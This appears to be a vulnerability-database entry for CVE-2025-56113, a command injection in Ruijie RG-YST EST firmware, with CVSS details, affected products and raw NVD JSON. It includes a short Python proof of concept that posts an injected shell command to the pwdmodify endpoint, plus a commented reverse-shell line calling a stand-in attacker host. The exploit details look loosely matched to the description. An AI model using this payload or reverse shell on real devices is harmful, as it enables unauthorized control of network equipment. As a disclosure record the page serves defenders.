Security Vulnerability Report
中文
CVE-2025-56113 CVSS 8.8 HIGH

CVE-2025-56113

Published: 2025-12-11 19:15:57
Last Modified: 2026-02-11 19:38:58

Description

OS Command Injection vulnerability in Ruijie RG-YST EST, YSTAP_3.0(1)B11P280YST250F V1.xxV2.xx allowing attackers to execute arbitrary commands via a crafted POST request to the pwdmodify in file /usr/lib/lua/luci/modules/common.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-yst250f_firmware:3.0\(1\)b11p280yst250f:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-yst250f:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-est310_v2_firmware:b11p221:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-est310_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:reyee_os:221:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-est350_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:reyee_os:219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\(1\)b2p55:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-YST EST YSTAP_3.0(1)B11P280YST250F V1.xx
Ruijie RG-YST EST YSTAP_3.0(1)B11P280YST250F V2.xx

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56113 PoC - Ruijie RG-YST EST OS Command Injection # Target: Ruijie RG-YST EST, YSTAP_3.0(1)B11P280YST250F # Vulnerability: OS Command Injection in pwdmodify endpoint target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.local' # Blind command injection - executes command without output payload = "'; whoami; #" # Or reverse shell payload # payload = "'; bash -i >& /dev/tcp/attacker/port 0>&1; #" data = { 'pwdmodify': payload, # Additional parameters may be required based on target version } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0' } try: response = requests.post( f'{target}/cgi-bin/pwdmodify', data=data, headers=headers, timeout=10, verify=False ) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') except requests.exceptions.RequestException as e: print(f'Error: {e}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56113", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:56.927", "lastModified": "2026-02-11T19:38:58.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-YST EST, YSTAP_3.0(1)B11P280YST250F V1.xxV2.xx allowing attackers to execute arbitrary commands via a crafted POST request to the pwdmodify in file /usr/lib/lua/luci/modules/common.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-yst250f_firmware:3.0\\(1\\)b11p280yst250f:*:*:*:*:*:*:*", "matchCriteriaId": "0D863EA4-61BB-4706-8AB6-BE2AB6405236"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-yst250f:-:*:*:*:*:*:*:*", "matchCriteriaId": "A13295C6-FCEA-46F9-9344-64A8294A2E69"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-est310_v2_firmware:b11p221:*:*:*:*:*:*:*", "matchCriteriaId": "B88312BA-36D6-4C06-BD5B-7F18B437FB96"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est310_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "9461FE15-EDE8-4E75-97F6-A5C67D99A092"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:reyee_os:221:*:*:*:*:*:*:*", "matchCriteriaId": "FB71150E-3E99-458B-B961-2FA4176C0E38"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est350_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "A00D8E4C-F07D-4594-8F3E-C3B58F2B6712"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:reyee_os:219:*:*:*:*:*:*:*", "matchCriteriaId": "1C2ECCE3-9280-4BE7-9F93-D7EFD803E7F3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "76F60F45-CF3C-4E10-AFAC-231318B1182F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\\(1\\)b2p55:*:*:*:*:*:*:*", "matchCriteriaId": "54D9F162-AE62-405B-BACF-95AB35C3F94B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:*", "matchCriteriaId": "43BC34C1-E257-4D67-ABA4-2AA6DD533275"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EsGqqVSQqCVBjjz2FhAHAiAB4MCHo41vIuw2wPgLykbupA?e=YgF1gt", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EY_XOykAOvJJkGsDkmahTboBmmvNWczbXF3brroYsTWmTA?e=2Itzta", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56113.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}